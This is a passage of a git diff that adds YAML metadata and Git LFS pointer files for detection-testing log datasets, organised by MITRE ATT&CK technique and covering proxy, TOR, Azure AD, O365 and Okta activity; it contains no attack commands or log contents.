b/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/get-netuser-not-require-pwh-38b2d9f2-64f3-4ff5-b74f-50f0d0e5e8ef.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f1370a9ba2fbf1881b402d2608219da1b30ca71c3076d5dcfc48ff9180bc3c01 +size 1136 diff --git a/datasets/attack_techniques/T1090.001/netsh_portproxy/T1090.001_netsh_portproxy.yml b/datasets/attack_techniques/T1090.001/netsh_portproxy/T1090.001_netsh_portproxy.yml new file mode 100644 index 000000000..3590fca2f --- /dev/null +++ b/datasets/attack_techniques/T1090.001/netsh_portproxy/T1090.001_netsh_portproxy.yml @@ -0,0 +1,12 @@ +author: STRT +id: 2f611dea-c247-4921-907f-bd990d6d3104 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Proxy Via Netsh +environment: attack_range +directory: netsh_portproxy +mitre_technique: [] +datasets: +- name: volt_sysmon + path: /datasets/attack_techniques/T1090.001/netsh_portproxy/volt_sysmon-2f611dea-c247-4921-907f-bd990d6d3104.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1090.001/netsh_portproxy/volt_sysmon-2f611dea-c247-4921-907f-bd990d6d3104.log b/datasets/attack_techniques/T1090.001/netsh_portproxy/volt_sysmon-2f611dea-c247-4921-907f-bd990d6d3104.log new file mode 100644 index 000000000..72748d75e --- /dev/null +++ b/datasets/attack_techniques/T1090.001/netsh_portproxy/volt_sysmon-2f611dea-c247-4921-907f-bd990d6d3104.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:462615861bc2ecdc33ed70e7cdcc06b7c0d33e654c5577a9e34c1aa65fbce5f0 +size 1097 diff --git a/datasets/attack_techniques/T1090.003/pan_tor_allowed/T1090.003_pan_tor_allowed.yml b/datasets/attack_techniques/T1090.003/pan_tor_allowed/T1090.003_pan_tor_allowed.yml new file mode 100644 index 000000000..cce782f53 --- /dev/null +++ b/datasets/attack_techniques/T1090.003/pan_tor_allowed/T1090.003_pan_tor_allowed.yml @@ -0,0 +1,12 @@ +author: STRT +id: 1ba386d9-93c6-46dd-ae0d-7502a1499dbb +date: '2026-07-13' +description: Curated attack data generated for detection TOR Traffic +environment: attack_range +directory: pan_tor_allowed +mitre_technique: [] +datasets: +- name: pan_tor_allowed + path: /datasets/attack_techniques/T1090.003/pan_tor_allowed/pan_tor_allowed-1ba386d9-93c6-46dd-ae0d-7502a1499dbb.log + sourcetype: pan:traffic + source: not_applicable diff --git a/datasets/attack_techniques/T1090.003/pan_tor_allowed/pan_tor_allowed-1ba386d9-93c6-46dd-ae0d-7502a1499dbb.log b/datasets/attack_techniques/T1090.003/pan_tor_allowed/pan_tor_allowed-1ba386d9-93c6-46dd-ae0d-7502a1499dbb.log new file mode 100644 index 000000000..d2ee26113 --- /dev/null +++ b/datasets/attack_techniques/T1090.003/pan_tor_allowed/pan_tor_allowed-1ba386d9-93c6-46dd-ae0d-7502a1499dbb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:34618ee9718295c01f452c1d1ccca5f2e769baa95876aabbd743959e1b2b8374 +size 1532 diff --git a/datasets/attack_techniques/T1090.003/windows_tor_client_execution/T1090.003_windows_tor_client_execution.yml b/datasets/attack_techniques/T1090.003/windows_tor_client_execution/T1090.003_windows_tor_client_execution.yml new file mode 100644 index 000000000..faca67f1d --- /dev/null +++ b/datasets/attack_techniques/T1090.003/windows_tor_client_execution/T1090.003_windows_tor_client_execution.yml @@ -0,0 +1,12 @@ +author: STRT +id: c165cfe6-858c-4812-9cf4-56aaabc8c2d9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows TOR Client Execution +environment: attack_range +directory: windows_tor_client_execution +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1090.003/windows_tor_client_execution/windows-sysmon-c165cfe6-858c-4812-9cf4-56aaabc8c2d9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1090.003/windows_tor_client_execution/windows-sysmon-c165cfe6-858c-4812-9cf4-56aaabc8c2d9.log b/datasets/attack_techniques/T1090.003/windows_tor_client_execution/windows-sysmon-c165cfe6-858c-4812-9cf4-56aaabc8c2d9.log new file mode 100644 index 000000000..860d4219a --- /dev/null +++ b/datasets/attack_techniques/T1090.003/windows_tor_client_execution/windows-sysmon-c165cfe6-858c-4812-9cf4-56aaabc8c2d9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:37a6e58cad42593175d316dd9a688631e78584dca4f613cb237df31bea8d44b5 +size 17410 diff --git a/datasets/attack_techniques/T1090/snapattack/T1090_snapattack.yml b/datasets/attack_techniques/T1090/snapattack/T1090_snapattack.yml new file mode 100644 index 000000000..e1c6793e7 --- /dev/null +++ b/datasets/attack_techniques/T1090/snapattack/T1090_snapattack.yml @@ -0,0 +1,12 @@ +author: STRT +id: 12255c26-aa4b-4e35-98b5-941c788b1c0c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Devtunnels Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1090/snapattack/snapattack-12255c26-aa4b-4e35-98b5-941c788b1c0c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1090/snapattack/snapattack-12255c26-aa4b-4e35-98b5-941c788b1c0c.log b/datasets/attack_techniques/T1090/snapattack/snapattack-12255c26-aa4b-4e35-98b5-941c788b1c0c.log new file mode 100644 index 000000000..be9e08044 --- /dev/null +++ b/datasets/attack_techniques/T1090/snapattack/snapattack-12255c26-aa4b-4e35-98b5-941c788b1c0c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:46735e13a6ef6e54007b8a72f0e432f5a5b41518cef0ddf09c3846bc4cb5f9d7 +size 3666 diff --git a/datasets/attack_techniques/T1095/palologs/T1095_palologs.yml b/datasets/attack_techniques/T1095/palologs/T1095_palologs.yml new file mode 100644 index 000000000..85bd138f4 --- /dev/null +++ b/datasets/attack_techniques/T1095/palologs/T1095_palologs.yml @@ -0,0 +1,12 @@ +author: STRT +id: 149fa5c0-053c-4b8d-8c37-f2a92e435b4e +date: '2026-07-13' +description: Curated attack data generated for detection Detect Large ICMP Traffic +environment: attack_range +directory: palologs +mitre_technique: [] +datasets: +- name: large_icmp + path: /datasets/attack_techniques/T1095/palologs/large_icmp-149fa5c0-053c-4b8d-8c37-f2a92e435b4e.log + sourcetype: pan:traffic + source: not_applicable diff --git a/datasets/attack_techniques/T1095/palologs/large_icmp-149fa5c0-053c-4b8d-8c37-f2a92e435b4e.log b/datasets/attack_techniques/T1095/palologs/large_icmp-149fa5c0-053c-4b8d-8c37-f2a92e435b4e.log new file mode 100644 index 000000000..f99d96835 --- /dev/null +++ b/datasets/attack_techniques/T1095/palologs/large_icmp-149fa5c0-053c-4b8d-8c37-f2a92e435b4e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:91d2b928e3bedcb9ea88ced80502acf23733ca41ddb34bde122c1a4e6281f8f4 +size 4523 diff --git a/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/T1098.001_azure_ad_service_principal_credentials.yml b/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/T1098.001_azure_ad_service_principal_credentials.yml new file mode 100644 index 000000000..2d6d4650e --- /dev/null +++ b/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/T1098.001_azure_ad_service_principal_credentials.yml @@ -0,0 +1,13 @@ +author: STRT +id: e697e5a2-3729-471b-be27-7b55d7cf6eb0 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Service Principal + New Client Credentials +environment: attack_range +directory: azure_ad_service_principal_credentials +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/azure-audit-e697e5a2-3729-471b-be27-7b55d7cf6eb0.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/azure-audit-e697e5a2-3729-471b-be27-7b55d7cf6eb0.log b/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/azure-audit-e697e5a2-3729-471b-be27-7b55d7cf6eb0.log new file mode 100644 index 000000000..85276e24a --- /dev/null +++ b/datasets/attack_techniques/T1098.001/azure_ad_service_principal_credentials/azure-audit-e697e5a2-3729-471b-be27-7b55d7cf6eb0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0a6de8d20356feb056af2d90a17d82012348236f70b67b60a57f680016b7326e +size 1850 diff --git a/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/T1098.001_o365_service_principal_credentials.yml b/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/T1098.001_o365_service_principal_credentials.yml new file mode 100644 index 000000000..cf92dcac2 --- /dev/null +++ b/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/T1098.001_o365_service_principal_credentials.yml @@ -0,0 +1,13 @@ +author: STRT +id: ecc6cf03-99b2-4c60-9539-aa63c5380161 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Service Principal New + Client Credentials +environment: attack_range +directory: o365_service_principal_credentials +mitre_technique: [] +datasets: +- name: o365_service_principal_credentials + path: /datasets/attack_techniques/T1098.001/o365_service_principal_credentials/o365_service_principal_credentials-ecc6cf03-99b2-4c60-9539-aa63c5380161.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/o365_service_principal_credentials-ecc6cf03-99b2-4c60-9539-aa63c5380161.log b/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/o365_service_principal_credentials-ecc6cf03-99b2-4c60-9539-aa63c5380161.log new file mode 100644 index 000000000..384816e14 --- /dev/null +++ b/datasets/attack_techniques/T1098.001/o365_service_principal_credentials/o365_service_principal_credentials-ecc6cf03-99b2-4c60-9539-aa63c5380161.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bfede1482451a2e71b8d48e69cf69ccad31b4596509784a2dbcd73d1d6127007 +size 2225 diff --git a/datasets/attack_techniques/T1098.001/okta_new_api_token_created/T1098.001_okta_new_api_token_created.yml b/datasets/attack_techniques/T1098.001/okta_new_api_token_created/T1098.001_okta_new_api_token_created.yml new file mode 100644 index 000000000..f6cbdd8a5 --- /dev/null +++ b/datasets/attack_techniques/T1098.001/okta_new_api_token_created/T1098.001_okta_new_api_token_created.yml @@ -0,0 +1,12 @@ +author: STRT +id: ebdd8ec0-25ae-4b09-8087-7be12caa5c8d +date: '2026-07-13' +description: Curated attack data generated for detection Okta New API Token Created +environment: attack_range +directory: okta_new_api_token_created +mitre_technique: [] +datasets: +- name: okta_new_api_token_created + path: /datasets/attack_techniques/T1098.001/okta_new_api_token_created/okta_new_api_token_created-ebdd8ec0-25ae-4b09-8087-7be12caa5c8d.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1098.001/okta_new_api_token_created/okta_new_api_token_created-ebdd8ec0-25ae-4b09-8087-7be12caa5c8d.log b/datasets/attack_techniques/T1098.001/okta_new_api_token_created/okta_new_api_token_created-ebdd8ec0-25ae-4b09-8087-7be12caa5c8d.log new file mode 100644 index 000000000..cb2988af3 --- /dev/null +++ b/datasets/attack_techniques/T1098.001/okta_new_api_token_created/okta_new_api_token_created-ebdd8ec0-25ae-4b09-8087-7be12caa5c8d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82c9e9e4ee3b0c06808ccc199b4378bbba454da620f0d417c30793fdc1b13fb4 +size 2048 diff --git a/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/T1098.002_application_impersonation_role_assigned.yml b/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/T1098.002_application_impersonation_role_assigned.yml new file mode 100644 index 000000000..6ac95ae38 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/T1098.002_application_impersonation_role_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: d7923e03-acd6-4caf-a0be-592aa849c933 +date: '2026-07-10' +description: Curated attack data generated for detection O365 ApplicationImpersonation + Role Assigned +environment: attack_range +directory: application_impersonation_role_assigned +mitre_technique: [] +datasets: +- name: application_impersonation_role_assigned + path: /datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/application_impersonation_role_assigned-d7923e03-acd6-4caf-a0be-592aa849c933.log + sourcetype: o365:management:activity + source: O365 diff --git a/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/application_impersonation_role_assigned-d7923e03-acd6-4caf-a0be-592aa849c933.log b/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/application_impersonation_role_assigned-d7923e03-acd6-4caf-a0be-592aa849c933.log new file mode 100644 index 000000000..f403c45a3 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/application_impersonation_role_assigned/application_impersonation_role_assigned-d7923e03-acd6-4caf-a0be-592aa849c933.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:162cf92dc3d877e337bbd5ac884c2ea713df0d6d045c5815d5ec17772434e68a +size 1058 diff --git a/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/T1098.002_full_access_as_app_permission_assigned.yml b/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/T1098.002_full_access_as_app_permission_assigned.yml new file mode 100644 index 000000000..f913b16a2 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/T1098.002_full_access_as_app_permission_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1f63cf80-2e29-4e7b-ab0d-858b1d114eaa +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD FullAccessAsApp + Permission Assigned +environment: attack_range +directory: full_access_as_app_permission_assigned +mitre_technique: [] +datasets: +- name: full_access_as_app_permission_assigned + path: /datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/full_access_as_app_permission_assigned-1f63cf80-2e29-4e7b-ab0d-858b1d114eaa.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/full_access_as_app_permission_assigned-1f63cf80-2e29-4e7b-ab0d-858b1d114eaa.log b/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/full_access_as_app_permission_assigned-1f63cf80-2e29-4e7b-ab0d-858b1d114eaa.log new file mode 100644 index 000000000..2fda3aab1 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/full_access_as_app_permission_assigned/full_access_as_app_permission_assigned-1f63cf80-2e29-4e7b-ab0d-858b1d114eaa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ae3a39d97e0c73b5f3b4d7af545144145fe09d451f080799445b9da6da032f49 +size 3024 diff --git a/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/T1098.002_o365_full_access_as_app_permission_assigned.yml b/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/T1098.002_o365_full_access_as_app_permission_assigned.yml new file mode 100644 index 000000000..9c775e756 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/T1098.002_o365_full_access_as_app_permission_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: de7f19b6-a4d6-4bd5-8217-13a6bb0692e1 +date: '2026-07-10' +description: Curated attack data generated for detection O365 FullAccessAsApp Permission + Assigned +environment: attack_range +directory: o365_full_access_as_app_permission_assigned +mitre_technique: [] +datasets: +- name: o365_full_access_as_app_permission_assigned + path: /datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/o365_full_access_as_app_permission_assigned-de7f19b6-a4d6-4bd5-8217-13a6bb0692e1.log + sourcetype: o365:management:activity + source: o365:management:activity diff --git a/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/o365_full_access_as_app_permission_assigned-de7f19b6-a4d6-4bd5-8217-13a6bb0692e1.log b/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/o365_full_access_as_app_permission_assigned-de7f19b6-a4d6-4bd5-8217-13a6bb0692e1.log new file mode 100644 index 000000000..65f130477 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/o365_full_access_as_app_permission_assigned/o365_full_access_as_app_permission_assigned-de7f19b6-a4d6-4bd5-8217-13a6bb0692e1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a4030f33403509fd5b74170317714b0298a513691225fa0282b2de557cd2d76e +size 4135 diff --git a/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/T1098.002_o365_mailbox_folder_read_granted.yml b/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/T1098.002_o365_mailbox_folder_read_granted.yml new file mode 100644 index 000000000..a31a6c15a --- /dev/null +++ b/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/T1098.002_o365_mailbox_folder_read_granted.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9f238704-7157-445b-b79c-48bc11c3f580 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Mailbox Folder Read + Permission Assigned +environment: attack_range +directory: o365_mailbox_folder_read_granted +mitre_technique: [] +datasets: +- name: o365_mailbox_folder_read_granted + path: /datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/o365_mailbox_folder_read_granted-9f238704-7157-445b-b79c-48bc11c3f580.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/o365_mailbox_folder_read_granted-9f238704-7157-445b-b79c-48bc11c3f580.log b/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/o365_mailbox_folder_read_granted-9f238704-7157-445b-b79c-48bc11c3f580.log new file mode 100644 index 000000000..3759cc4f8 --- /dev/null +++ b/datasets/attack_techniques/T1098.002/o365_mailbox_folder_read_granted/o365_mailbox_folder_read_granted-9f238704-7157-445b-b79c-48bc11c3f580.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d46b6246f3c0e49d27b6b81ced48dc80ba3df8b5bc18930677aca8dfea44f07d +size 2113 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/T1098.003_azure_ad_admin_consent.yml b/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/T1098.003_azure_ad_admin_consent.yml new file mode 100644 index 000000000..7c8805412 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/T1098.003_azure_ad_admin_consent.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6fb0c400-3fc8-4e29-8818-94a2129d60d3 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Tenant Wide Admin + Consent Granted +environment: attack_range +directory: azure_ad_admin_consent +mitre_technique: [] +datasets: +- name: azure_ad_admin_consent + path: /datasets/attack_techniques/T1098.003/azure_ad_admin_consent/azure_ad_admin_consent-6fb0c400-3fc8-4e29-8818-94a2129d60d3.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/azure_ad_admin_consent-6fb0c400-3fc8-4e29-8818-94a2129d60d3.log b/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/azure_ad_admin_consent-6fb0c400-3fc8-4e29-8818-94a2129d60d3.log new file mode 100644 index 000000000..592512c0e --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_admin_consent/azure_ad_admin_consent-6fb0c400-3fc8-4e29-8818-94a2129d60d3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e9d9478e5fe6c2999de9e5ecd89917a38e7fb5b3cdb759c4f625ae76af0f8bcd +size 2248 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/T1098.003_azure_ad_assign_global_administrator.yml b/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/T1098.003_azure_ad_assign_global_administrator.yml new file mode 100644 index 000000000..cb75de3d4 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/T1098.003_azure_ad_assign_global_administrator.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6e4257bc-8080-4ae9-a37e-ef4555fcc8f6 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Global Administrator + Role Assigned +environment: attack_range +directory: azure_ad_assign_global_administrator +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/azure-audit-6e4257bc-8080-4ae9-a37e-ef4555fcc8f6.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/azure-audit-6e4257bc-8080-4ae9-a37e-ef4555fcc8f6.log b/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/azure-audit-6e4257bc-8080-4ae9-a37e-ef4555fcc8f6.log new file mode 100644 index 000000000..22f267e1d --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_assign_global_administrator/azure-audit-6e4257bc-8080-4ae9-a37e-ef4555fcc8f6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9243732dbb2642d1659879e1e99d4e41724f12c7b42231eac8a6b36870f6d160 +size 1802 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/T1098.003_azure_ad_assign_privileged_role.yml b/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/T1098.003_azure_ad_assign_privileged_role.yml new file mode 100644 index 000000000..001b0923a --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/T1098.003_azure_ad_assign_privileged_role.yml @@ -0,0 +1,13 @@ +author: STRT +id: 234befca-3d78-4cf3-8829-73db27dd1f74 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Application Administrator + Role Assigned +environment: attack_range +directory: azure_ad_assign_privileged_role +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/azure-audit-234befca-3d78-4cf3-8829-73db27dd1f74.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/azure-audit-234befca-3d78-4cf3-8829-73db27dd1f74.log b/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/azure-audit-234befca-3d78-4cf3-8829-73db27dd1f74.log new file mode 100644 index 000000000..d591db102 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_assign_privileged_role/azure-audit-234befca-3d78-4cf3-8829-73db27dd1f74.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:89cd5df626346b0723e7ae225cda4ac7f3d53292924449679422af75fab7e109 +size 5556 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/T1098.003_azure_ad_bypass_admin_consent.yml b/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/T1098.003_azure_ad_bypass_admin_consent.yml new file mode 100644 index 000000000..f28f4c03c --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/T1098.003_azure_ad_bypass_admin_consent.yml @@ -0,0 +1,13 @@ +author: STRT +id: 13fbfed6-e94e-4bc8-850c-5a7e8092d322 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Admin Consent Bypassed + by Service Principal +environment: attack_range +directory: azure_ad_bypass_admin_consent +mitre_technique: [] +datasets: +- name: azure_ad_bypass_admin_consent + path: /datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/azure_ad_bypass_admin_consent-13fbfed6-e94e-4bc8-850c-5a7e8092d322.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/azure_ad_bypass_admin_consent-13fbfed6-e94e-4bc8-850c-5a7e8092d322.log b/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/azure_ad_bypass_admin_consent-13fbfed6-e94e-4bc8-850c-5a7e8092d322.log new file mode 100644 index 000000000..210455863 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_bypass_admin_consent/azure_ad_bypass_admin_consent-13fbfed6-e94e-4bc8-850c-5a7e8092d322.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:edec4d079afbaf695e956c18277d3d029540944b0fb95f4fd0c9a5def2461929 +size 3638 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/T1098.003_azure_ad_pim_role_activated.yml b/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/T1098.003_azure_ad_pim_role_activated.yml new file mode 100644 index 000000000..dce79883c --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/T1098.003_azure_ad_pim_role_activated.yml @@ -0,0 +1,12 @@ +author: STRT +id: b79a7552-e43a-40dc-97a2-06cbbbb9a6e1 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD PIM Role Assigned +environment: attack_range +directory: azure_ad_pim_role_activated +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/azure-audit-b79a7552-e43a-40dc-97a2-06cbbbb9a6e1.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/azure-audit-b79a7552-e43a-40dc-97a2-06cbbbb9a6e1.log b/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/azure-audit-b79a7552-e43a-40dc-97a2-06cbbbb9a6e1.log new file mode 100644 index 000000000..5e899a9a6 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_pim_role_activated/azure-audit-b79a7552-e43a-40dc-97a2-06cbbbb9a6e1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1aadb99600f34070e9bb51040d5beee427e1a93b280c55d0b567060fd2bf6f21 +size 3038 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/T1098.003_azure_ad_privileged_graph_perm_assigned.yml b/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/T1098.003_azure_ad_privileged_graph_perm_assigned.yml new file mode 100644 index 000000000..d00922bdf --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/T1098.003_azure_ad_privileged_graph_perm_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: 88cb72fe-482e-424f-b812-a2e2f3ad0ba8 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Privileged Graph + API Permission Assigned +environment: attack_range +directory: azure_ad_privileged_graph_perm_assigned +mitre_technique: [] +datasets: +- name: azure_ad_privileged_graph_perm_assigned + path: /datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/azure_ad_privileged_graph_perm_assigned-88cb72fe-482e-424f-b812-a2e2f3ad0ba8.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/azure_ad_privileged_graph_perm_assigned-88cb72fe-482e-424f-b812-a2e2f3ad0ba8.log b/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/azure_ad_privileged_graph_perm_assigned-88cb72fe-482e-424f-b812-a2e2f3ad0ba8.log new file mode 100644 index 000000000..365a4fa5a --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_privileged_graph_perm_assigned/azure_ad_privileged_graph_perm_assigned-88cb72fe-482e-424f-b812-a2e2f3ad0ba8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ca20b747b7ac02090a82fdf594678a359fe1105026d188277be36b9f1a0566df +size 3622 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/T1098.003_azure_ad_privileged_role_serviceprincipal.yml b/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/T1098.003_azure_ad_privileged_role_serviceprincipal.yml new file mode 100644 index 000000000..08a722182 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/T1098.003_azure_ad_privileged_role_serviceprincipal.yml @@ -0,0 +1,13 @@ +author: STRT +id: c9779c66-267d-4c75-b9a1-7c5fac6abf1b +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Privileged Role + Assigned to Service Principal +environment: attack_range +directory: azure_ad_privileged_role_serviceprincipal +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/azure-audit-c9779c66-267d-4c75-b9a1-7c5fac6abf1b.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/azure-audit-c9779c66-267d-4c75-b9a1-7c5fac6abf1b.log 